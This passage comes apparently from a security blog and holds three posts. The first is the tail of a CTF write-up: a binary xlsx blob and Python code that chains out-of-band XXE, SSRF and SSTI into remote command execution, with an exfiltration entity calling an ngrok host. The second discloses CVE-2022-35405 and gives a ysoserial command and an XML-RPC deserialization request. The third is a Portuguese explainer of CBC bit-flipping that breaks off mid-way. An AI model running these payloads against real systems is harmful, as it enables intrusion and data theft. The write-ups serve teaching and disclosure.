\x80\xd5\xba\x1fJ\xafe?\x14j*\xeb\xad\xd5\xd7\xb7w+\xf5ik,\xf3\x04\xbcT\xe9\xdb\x93\xc8M\xa6\x93\xa8\x1aH\xd4\xaboG\xa2\xec\x9c\x16\x8b\xa6\x81E\xa3\xfc:\x16v\xce+p8!\x9c\xdc\x88{n\xc6\x08\xc2\rBz\x98\xf8)\x93_z\xf7\xd4=]dL}\xd9\x15\xc3\xf2\x9a\xee\xa9yZ#\x91\x0b7\x9dD.\x0cC8<6\xbbO\xd9\xd7\xcd\xa6\xd9\xd5\x15#\x8dz\xe3C\xf8\xda\xde\xce\r,\xd6[\xe8\x08\xf6\\\xd5\x035\x01\x9e\xb6\xac\x11\xfc\xd3\x04\x8f\xd1\x14\xf4\xc9$Sa6\x8e[V\xa0\x16\x86~\x97\xcc2\x15Ru\xb1\x0c3X:\x94\xad?\xa2\x8a\x08\xc4h\x04\xb1\x9ew\x03\x8b\xd7\xdc\xca\x95\xba\xf3\xe9\x92k:\x9f\x9e\xe5\xecM'\x93\xd1\x88\x04\xaa\xa0g\xdd\x84\xb1L\x89q\xf4=\xc1I\x83\xcf\x80\xf4~8<B\x07l&na0\x94W/'\x06\x1cR\xa9V\xd6\x1cR\x91\x0b\xee\xb5\x157\xd2\xd5b+j/[\xd6[\x14\xb3i\x88\x17'J>\x99g\xf0\xf4yE'\xb7\x8e\x94\xe9\xe6\xaal\x93\t\x0f\xc6\xfd\xd38u\xdf,\xb4\x914\x0b\x0e\x90za\x16\xfbp\x87|\x8eU\xd5\xcc\xca3\xe6\xbaf\xc3y\xfd)\xf1\xfe\x07B\x8eZ\xc3L\xadj\xa6Vtv\x9cbA\x90\x9b\xaeV`\xb7J\xa17\xdf\xf34\xd8\x8cZ;WW\xa6\xad\xad\xb7\xda\xfc\xe0\x1eD~\x17\xaa\xd5\x19S2\xbb\x1c;\x86\xf2\xdb_\xbe\x8f\xcc2A\xda\xbb\xcc.\xc7\n\xcd\x04mY\xf7\x1d\xaf\xed\xfa\x15\xcf/9\r\xafWr\xab\xaeSjx\xedj\xa9\xedy\xd5r\xcf+;\xddN\xe5\x01\x18E\x85Q\xd9\xcb\xe6\xee\xc3?\xfbl\xbexm\x9f\xf6o\xbd\xba\x8f\x96\xa5\xf6\xb9\x80G6O\xeb`;\x15N_\xdd\x97+\xda\xab\xfb\xacNF\x83d\xdcB\x14,s\xbfV\xe97\xab\xcdN\xad\xd4\xac\xb6\xfb%\xb7\xdbi\x94\x9a~\xadS\xea\xd6\xfcz\xb7\xdf\xf5\xbdF\xb3\xff\xc0B\x87)\xd8mW}\xb7\xd6k\x94je\xdf/\xb95'\xa1\xdfh\x96\xean\xa5\xd2v\xeb\xedF\xcfm?X\xd8\x1aV\xbe\xfc]\x9a7\xe5u\xf1_PK\x03\x04\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x1c\x00xl/workbook.xmlUT\t\x00\x03B\xbeiaH\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadUmO\xe38\x10\xfe~\xd2\xfd\x87l$\xee[\x9a8om\x03\xed\x8a\xbc\xe9*A\xa9 \x0b\x8b\x8e\x13r\x13\xb7\xb5\x9a\xc49\xc7\x81\xa2\x15\xff\xfd\xc6\xa1i\xe1\xe0C\x97\xdb\xa8\xb53\xf6\xe4\xf133\xcf$'_7E\xae<\x10^SV\x8eT\xd43T\x85\x94)\xcbh\xb9\x1c\xa9\xdf\x92X\x1b\xa8J-p\x99\xe1\x9c\x95d\xa4>\x91Z\xfd:\xfe\xfd\xb7\x93/\xe1E\x90\xdc\xce\"\x05\xcf\x95\xbfN\xbeDg\xd1y4M\xa4u:\xbdU\xc6\xb02M&\xc9\xadr\xa4\xd4\x95ru{\x95D\xe7\x8a\xba\x12\xa2\xf2t=E\x04kh0\xd4\x90ih}S3\xcd~\xaf\\r\xb6\xeeQ\xa6\xcf\xe9\x925u/\x13\x99:>\xaa\xab\xe3\xa3\ns\\\xa0\xe3\xbf\xe5\xa9x>\xfe\x83l\x164?>\xd1\xe1\x1eV\x1e\x19_\xcf\x19[+\x10HY\x8f\xba#\xeatE\n\\\xf7XEJ\xd8Y0^`\x01&_\xeau\xc5\t\xce\xea\x15!\xa2\xc8u\xd30\\\xbd\xc0\xb4T_\x10<~\x08\x06[,hJB\x966\x05)\xc5\x0b\x08'9\x16\x90\xc6zE\xab\xbaC+\xd2C\xe0\n\xcc\xd7M\xa5\xa5\xac\xa8\x00bNs*\x9eZPU)Ro\xb2,\x19\xc7\xf3\x1c\xd2\xbfA\x8e\xb2\xe1\xf0s\xe1\x8f\x0c\x18\xcc\xee$\xd8zwTAS\xcej\xb6\x10=\x80\xde\x92~\x17?2t\x84\xde\xa4`\xf3>\x07\x87!\xd9\x90\x84\x07*\xb5\xb4\x87r?\x89\xe5\xee\xb0\xdc=\x182\xfe7\x1a2\xf6p\xe6'\xd1\x9c\x1d\x9a\xa9\x8eO@\x8e\xe4\xfa\xa5\x85\x14\\US\\\xc8J\xe5\xaa\x92\xe3ZD\x19\x15$\x1b\xa9}0\xd9#y\xb3\xc0\x9b\xcaoh\x0e\x86i\r\x0c\xa4\xea\xe3\x9d\x9cg\\\xc9\xc8\x027\xb9H\x80X\x07\x0f\x1d\xea\xbaC\xd3\x91\x9e \x8c\xd3\\\x10^bA\x02V\n\xd0\xe1/\xd2\\\x8b\x1d\xac\x18\x84\xae\\\x92\x1a\xcaI\xddJ\x0fv`\xc4\xa9\x87\xe7\xf5\x0c\x8b\x95\xd2\xf0|\xa4\x06\xde\xdd\xb7\x1a\xf8\xdd=\xd0\x92\xa6\x14z\xb7\"\x9cP\x8e\xefBR\xaf\x05\xab\xee\xa2\xef\xb3\xb3\x8bIr\x1fF\xf1d:I&\xd7\x17w\xafT\x8b\xdf\xd3\xfd\t\xdd\xe2T&C\xdf1~\xb9\xffof\x808\xf7\xba\x9a\xcd\x04W\xe0~\x12\x9eA}\xae\xf0\x03T\x0b4\x91m\x9by\x02\xe5@\xd6}\x99r\x0f\xdd\xff0\x1c\xdf4\x02\xdb\xd4\x9c045\xdb\xb7Lm\xe0;\x8e\x16\x04\xb1m\x04\x83x`[\xfdgU6\xa4\x972\xdc\x88\xd5\xb6R\x12z\xa4\xda\xee\x07[\xe7x\xd3\xed \xc3kh\xb6\xa7\xf1\xc3\xd8^\xda\x07Cw=\xcb\x80\xa5F\xae)y\xac\xf7\x92\x91\xa6\xb2\xb9\xa1e\xc6\x1eG\xaa|\xb7\xaa\xca\xd3[\xf3\xb1\xb5nh&V\xa09\xa3o\xed\xd6\xfe$t\xb9\x02\xc6\x08Ym\x83pS2\x03Fn`Z\x10z\xa0\xb9qdiv\x10\xd8\xda\xd0uC\xcd\x0fm\xcb\xb1\x87\x8e\x11\x0e\xcd\x96\x91\xfe\x8aR[\xa4nV\xca\xb6!f9.i\xbe\xc2\x08>(r\xb9\xcd3\xf4\x80'\x8f\xe1\x93\xac\x95\xbf\xde=\x99\xe2<\x85\x1e\x90S\xeb8D\x869\x94\x1ed#\xcej\xd1\xce ?\n\x0c\x91m\x9c\xf6\x8d\xa1\xad\x19\x91\xe5h\xf6`\x08%\xb2\xa1N\x81\x1d\x9a\x91\xd3\x8f\xc2\xc8w\x9e\xe5[\xb2\xed\x02\xefU\xa7\xa6+\xccE\xc2q\xba\x86\xcf\xe6%Y\xf8\xb8&28\x19\x10\xf0|M\xd6w\x06\xbea\x01E;F\xb1f\xa3\xa1\xa1\xf9\xbek\x83\xbcb\xcb\xe9\xa30\x88\x9cxOV\x86\xbf\xf8$\xdf\x81\xde>M\xb0h\xa0%\xe9\xd6\xf6\xe4\x18oWw\x8b[\xb7m\xa9\xde\x1c\xe0]\x862\x90\x03\x1c\xaf \xfa\x9c\x1c\xe8\x1c_\x1f\xe8\x18L\xcf\x93\xf3\x03}\xcf\xa2\xe4\xfe&n\xf3\xfea\xb4/\xd5\xd0;\r\xe9]\r\xc7\xff\x02PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x1c\x00xl/worksheets/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x1c\x00xl/worksheets/sheet1.xmlUT\t\x00\x030\xd0\xce\x12\x86\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\x9d\x94\xdb\x8e\xda0\x10\x86\xef+\xf5\x1d,\xdfC\xe2\x1c \xa0$+\n\x8b\xcaE\xa5\xaa\xa7{\xe3L\x88E\x12\xa7\xb69\xa9\xea\xbb\xef8\x14v+\x84\x846J\x14g\xc6\xfe\xfe\x19\xcf8\xe9\xd3\xb1\xa9\xc9\x1e\xb4\x91\xaa\xcd(\x1b\xfa\x94@+T!\xdbMF\xfeX\x0e\x12J\x8c\xe5m\xc1k\xd5BFO`\xe8S\xfe\xf1CzPzk*\x00K\x90\xd0\x9a\x8cV\xd6vS\xcf3\xa2\x82\x86\x9b\xa1\xea\xa0EO\xa9t\xc3-~\xea\x8dg:\r\xbc\xe8\x175\xb5\x17\xf8\xfe\xc8k\xb8l\xe9\x990\xd5\x8f0TYJ\x01\x0b%v\r\xb4\xf6\x0c\xd1Ps\x8b\xf1\x9bJv\xe6Bk\xc4#\xb8\x86\xeb\xed\xae\x1b\x08\xd5t\x88X\xcbZ\xdaS\x0f\xa5\xa4\x11\xd3\xd5\xa6U\x9a\xafk\xcc\xfb\xc8\".\xc8Q\xe3\x1d\xe0\x13^dz\xfb\x8dR#\x85VF\x95v\x88\xe41\xdf\xa6?\xf1&\x1e\x17W\xd2m\xfe\x0faX\x84\x1b\xb0\x97\xae\x80\xaf\xa8\xe0\x9d\xac\xf8\xca\n^a\xe1;a\xa3+\xccm\x97\x9e\xeed\x91\xd1?I4Z\xce\xe30\x1a\xcc\xd8\xa7x\x10M&\xc1 \x99\xc5\xf3\xc1\xd8\x0f'\xe1s\x14%\xcf\xd1\xf8/\xcd\xd3Bb\x85\xddb\xa2\xa1\xcc\xe8\x8cQ/O{\xfa/\t\x07\xf3fL,_\x87\x1a\x84\x05\x14`\x94\xb8\xde\\+\xb5u\xce\x15\x9a|\xc4\x99~\x82\xc3q|\xeda\x0eu\x9d\xd1\x15\xc3\xe9\xe6w\xaf\xe0\xc6(\xe1]\xb9o\xc7\x17\xbde\xdf<_5)\xa0\xe4\xbb\xda~S\x87\xcf 7\x95E\xe1\x18\xb3t\xed0-N\x0b0\x02\xfb\x13\xa5\x87A|\r|\xc1-\xcfS\xad\x0eD\xf7q\x9a\x8e\xbb\x93\xc3\xa6\xec\xde\xca<\x15n.&O\xd0d\xf0{\x9f\xfb\xa9\xb7\xc7\xd0\x04>\x88\xba\x04yfw|\x03_\xb8\xde\xc8\xd6\x90\x1a\xca\x1e\x133\x960\xe6\x07\x11%\xfa\x1c\xe96\xab:g\x19'\xe3\x08\xeb?\xc6\x82\xf4\x17\x9e\x80\xb5\xb2V5w\x9c\x15\xd6\x1a\xb4s\x86,\x9a\x8c\xfc\x116\xf4\xf9\xc2\xce)\x95\xb2\xf7\x9cn\x8b\xaf?\x8f\xfc\x05PK\x03\x04\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x1c\x00xl/_rels/UT\t\x00\x03m\xb1ia[\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x03\x04\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x1c\x00xl/_rels/workbook.xml.relsUT\t\x00\x030\xd0\xce\x12\x8c\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xadR\xcbj\xc30\x10\xbc\x17\xfa\x0fb\xef\xb5\xec\xb4\x94R\"\xe7\x12\n\xb9\xb6\xee\x07\x08im\x99\xd8\x92\xd0n\x1f\xfe\xfb\xaa\rm\x1c\x08\xa1\x07\x9f\x96\x19\xb13\xa3\xdd]o>\xc7A\xbcc\xa2>x\x05UQ\x82@o\x82\xed}\xa7\xe0\xb5y\xbay\x00A\xac\xbd\xd5C\xf0\xa8`B\x82M}}\xb5~\xc6Asn\"\xd7G\x12Y\xc5\x93\x02\xc7\x1c\x1f\xa5$\xe3p\xd4T\x84\x88>\xbf\xb4!\x8d\x9a3L\x9d\x8c\xda\xecu\x87rU\x96\xf72\xcd5\xa0>\xd1\x14;\xab \xed\xec-\x88f\x8a\xf8\x1f\xed\xd0\xb6\xbd\xc1m0o#z>c!\x89\xa7!@4:u\xc8\n\x0e\xb8\xc8: \xcf\xdb\xaf\x96\xb4\xe7\xdc\x8bG\xf7\x1fx \xabK\x19\xaa%3|\x84\xb4'\x87\xc8\xc7\x1cT\x1e\xd0w\xb9\x18\xe6n\xd1}8\x9d\xd0\xbep\xca\xe76_\xcb\x9c\xfe\r#O.\xae\xfe\x02PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00b\xee\x9dhO\x01\x00\x00\x90\x04\x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x00\x00\x00\x00[Content_Types].xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x9c\x01\x00\x00_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\xb5U0#\xeb\x00\x00\x00L\x02\x00\x00\x0b\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xdc\x01\x00\x00_rels/.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x0c\x03\x00\x00docProps/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x003-\xc0tv\x01\x00\x00\x13\x03\x00\x00\x10\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81O\x03\x00\x00docProps/app.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00/\x99t\xe87\x01\x00\x00q\x02\x00\x00\x11\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x0f\x05\x00\x00docProps/core.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x91\x06\x00\x00xl/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x126\"\xcc\x95\x00\x00\x00\xb2\x00\x00\x00\x14\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xce\x06\x00\x00xl/sharedStrings.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00y\xa1\x80l\x8d\x02\x00\x00R\x06\x00\x00\r\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xb1\x07\x00\x00xl/styles.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\x85\n\x00\x00xl/theme/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00h<\x03}\x99\x06\x00\x00\xc8 \x00\x00\x13\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xc8\n\x00\x00xl/theme/theme1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xb3uOS\xc6\xd2\xda4\xc8\x03\x00\x00\x08\t\x00\x00\x0f\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xae\x11\x00\x00xl/workbook.xmlUT\x05\x00\x03B\xbeiaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffA\xbf\x15\x00\x00xl/worksheets/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00E\xb6j\xbc\x11\x02\x00\x00\x81\x04\x00\x00\x18\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\x07\x16\x00\x00xl/worksheets/sheet1.xmlUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffAj\x18\x00\x00xl/_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xad\x18\x00\x00xl/_rels/workbook.xml.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x10\x00\x10\x00F\x05\x00\x00\xed\x19\x00\x00\x00\x00\r\n------WebKitFormBoundaryX8EzGd8nAoSVFtBe--\r\n"
	session.post(burp0_url, headers=burp0_headers, data=burp0_data)

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload

cmd = sys.argv[1]

dtd = f"""
<!ENTITY % data SYSTEM "http://documentacao:8090/pages/doenterpagevariables.action?queryString={craft_payload(cmd)}">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxxxxxx.ngrok.io/?data=%data;'>">
"""
open('bigous.dtd', 'w').write(dtd)
send_file()

Untitled

Untitled

FLAG: LW2021{XXE_SSRF_SSTI_f0r_Sur3_You_Are_The_N3w_0r4ng3}

E é isso, usamos um XXE OOB dentro de um xlsx para explorar um SSRF que explora um SSTI em uma aplicação vulnerÑvel, para conseguir RCE.

Espero que tenham gpostado do write-up, desculpe por nΓ£o meaprofundar tanto nos XXE (depois de longas horas eu to meio cansado de falar disso kkkkk).

AtΓ© breve o/

CVE-2022-35405 Manage engines RCE (Password Manager Pro, PAM360 and Access Manager Plus)

β€œThis remote code execution vulnerability could allow remote attackers to execute arbitrary code on affected installations of Password Manager Pro, PAM360 and Access Manager Plus. Authentication is not required to exploit this vulnerability in Password Manager Pro and PAM360 products.”

Product Name Affected Version(s) Β 
PAM360 5.5 (5500) and below Β 
Password Manager Pro 12.1 (12100) and below Β 
Access Manager Plus 4.3 (4302) and below (authenticated)

This vulnerability happens due to a vulnerable version of ApacheOfBiz (CVE-2020-9496) that exposes anΒ XML-RPCΒ endpoint atΒ /webtools/control/xmlrpc in case of Manage Engine products this endpoint is /xmlrpc. This endpoint can deserealizes java objects, as part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands.

First this vulnerability was found in Password Manager Pro, however after the report and disclosure of the Security Fixes it was identified that the vulnerability also existed in PAM360 and Access Manager Plus installations.

On the PMP context, the RCE has nt authority/system permissions on the affected server and can be used to enter internal networks, compromise data on the server or crash or shutdown the whole server and applications.

More information about CVE-2020-9496 exploitation can be found here or here

Exploitation

For generate java serialized object payload, Ysoserial can be used: It is needed that the ysoserial tool library versions match the server org.apache.commons.beanutils version, if the versions don’t match: Failed to read result object: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962 (something like that) follow the instructions of this article to bypass that finding the exact server lib version by serialVersionUID and changing the pom.xml of ysoserial.

java -jar ysoserial-version.jar CommonsBeanutils1 'command' | base64 | tr -d "\n"

Untitled

Replace theΒ [base64-payload]Β and send the request:

POST /xmlrpc HTTP/1.1
Host: host-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Untitled

Untitled

If the response was InvocationTargetException: java.lang.reflect.InvocationTargetException it worked, this exception was trigged after the execution of the payload.

I wrote an exploit to make it easier to explore and you can find it here: https://github.com/viniciuspereiras/CVE-2022-33405/

Extra

I’d like to thank the security community, although I can’t disclose vulnerability information, there were some researchers who managed to go after it and come up with a working poc, exploits and metasploit modules. If you want to take a look:

Nuclei template:

Coordinated Disclosure Timeline

  • 06/21/2022: Report sent to vendor.
  • 06/21/2022: Manage Engine acknowledges the issue.
  • 06/24/2022: Issue fixedΒ Release note
  • 07/11/2022: CVE-2022-35405

A deep look into Cipher Block Chaining (CBC) Algorithm Bit Flipping

A motivação para esse artigo surgiu após uma longa jornada tentando estudar um ataque de bit flipping na cifra de modo CBC (Cipher Block Chaining). A conclusão da minha jornada inicial nesse estudo se deu após a construção de um desafio de CTF que eu criei para um evento da Boitatech. Esse artigo contemplarÑ a teoria por trÑs do ataque.

English version: here

Primitivas

Antes de iniciar acredito que algumas leituras ou conhecimentos interessantes para acompanhar toda a lógica sejam as ideias gerais de criptografia, propriedades das operaçáes XOR e claro, para a resolução dos exemplos, programação em Python.

Como descrito na wikipedia sobre modos de operação incluindo o CBC, eles garantem apenas a confidencialidade da mensagem, porém a intergidade é afetada. Isso é bem importante tendo em vista o ataque de bit-flipping que explora justamente essa propriedade.

AES CBC

O modo CBC é um dos modos de operação do AES (Advanced Encryption Standard) um algoritimo de criptografia simétrica, isso significa que a mesma chave é usada tanto para criptografar como descriptografar os dados.

Encryption

O CBC como o nome diz se refere a operação do algoritimo, que divide o plaintext em blocos, e cada bloco é sempre considerado na operação do bloco seguinte, a imagem a seguir mostra o processo.

Como o primeiro bloco não possui um bloco anterior, o que é usado é o Initialization Vector, mais conhecido como IV, então é feita uma operação XOR sendo o 1° bloco de plaintext $\oplus$ IV, o resultado é enviado para a função AES que resultarÑ no primeiro bloco de ciphertext, note que esse bloco também vai para o XOR do segundo bloco de plaintext e assim o processo se repete com os demais blocos.

Na formula matematica:

\[\large C_i=E_k(P_i \oplus C_{i-1}) \\ \large C_0=IV\]

Decryption

O processo de decrypt segue a lógica inversa do processo de encrypt, o primeiro bloco de ciphertext é utilizado na função de decrypt, e esse resultado é XOREADO com o IV para resultar no plaintext, note que no iníco, o primeiro bloco de ciphertext é jogado para a segunda etapa numa operação XOR com o resultado da função decrypt do segundo bloco. Assim o processo vai se repetindo sempre levando em consderação os blocos anteriores.

Na formula matemΓ‘tica:

\[\large P_i=D_k(C_i) \oplus C_{i-1} \\ \large C_0 = IV\]

A exploração do bit-flipping que serÑ abordada nos próximos tópicos ocorre por problemas na forma que o processo de Decrypt do CBC ocorre, entender ele é crucial para a execução do atque.

Bit flipping basics

Alice and Bob

A ideia de bit-flipping pode ser explicada levando em consideração o cenÑrio da imagem acima, em que existe um canal de comunicação inseguro. Para fins de exemplo levemos em consideração que a Alice enviarÑ uma mensagem para Bob, essa mensagem serÑ criptografada pela Alice portanto, o que serÑ enviado mesmo serÑ o ciphertext, Eve, o atacante interceptarÑ o ciphertext no canal, e realizando o ataque de bit-flipping modificarÑ o conteúdo do plaintext a partir do ciphertext sem conhecer a key, assim, Bob quando realizar o processo de decriptação após receber a mensagem terÑ um plaintext modificado. A confidencialidade da mensagem foi mantida, visto que ela continuou sendo criptografada e com o seu plaintext confidencial, porém a intergidade foi afetada visto que o plaintext foi alterado por Eve.

TLDR; bit-flipping Γ© alterar o plaintext final

Acredito que as coisas ficarão mais claras durante a exploração e nos exemplos, mas tenha o TLDR em mente, o que estamos falando aqui é sobre modificar o conteúdo de mensagens sem conhecer a chave. Ao longo do artigo ficarÑ claro que existem variaçáes da exploração dependendo do quanto o atacante conhece do plaintext original e outros fatores relacionados a operação de criptografia em questão.

Understanding the problem

Como discutido anteriormente, o ataque de bit-flipping em CBC se dÑ por conta do processo de decrypt e tem relação com operaçáes XOR.

Analisando a imagem acima temos:

  • Processo de decrypt sendo realizado;
  • Um plaintext/ciphertext de 3 blocos de 16 bytes, 3 * 16 bytes = 48 bytes no total

A fins de exemplo, vamos considerar o seguinte objetivo: Queremos alterar os terceiro, quarto e quinto bytes do terceiro bloco. No caso nΓ³s conhecemos o plaintext original.

Para isso serÑ necessÑrio modificar os terceiro, quarto e quinto bytes do segundo bloco. Pois perceba que eles fazem parte da operação XOR: $P_3 = D_k(C_3) \oplus C_2$, sendo:

  • $P_3$ o plaintext do terceiro bloco;
  • $C_2$ o ciphertext do segundo;
  • $D_k(C_3)$ o resultado do decrypt do bloco 3;

O ataque de bit-flipping tem como objetivo alterar o plaintext final, no nosso caso o plaintext alterado serΓ‘ $P_3’$, para isso acontecer, deveremos alterar o ciphertext, no nosso caso o ciphertext do bloco anterior, chamaremos de $C_2’$, segue a lΓ³gica:

Acompanhe as operaçáes a seguir:

  • ComeΓ§ando com:
\[\large P_3 = D_k(C_3) \oplus C_2 \\ \large D_k(C_3) = P_3 \oplus C_2\]
  • Considerando um plaintext modificado teriamos:
\[\large P_3'=D_k(C_3) \oplus C_2'\]
  • O fator comum entre as equaçáes Γ© $D_k(C_3)$, portanto substituindo na equação do plaintext modificado, temos:
\[\large P_3'= P_3 \oplus C_2 \oplus C_2' \\ \large C_2' = P_3 \oplus C_2 \oplus P_3'\]

Perceba como ficou a última equação, temos uma definição como sendo ciphertext modificado = plaintext original $\oplus$ ciphertext original anterior $\oplus$ plaintext que o atacante quiser. O mais interessante de tudo é que em nenhum momento precisamos da key ou entender as funçáes $E_k()$ e $D_k()$ conseguimos chegar a uma equação para realizar o ataque apenas com propriedades do XOR.

Equação geral do bit flipping:

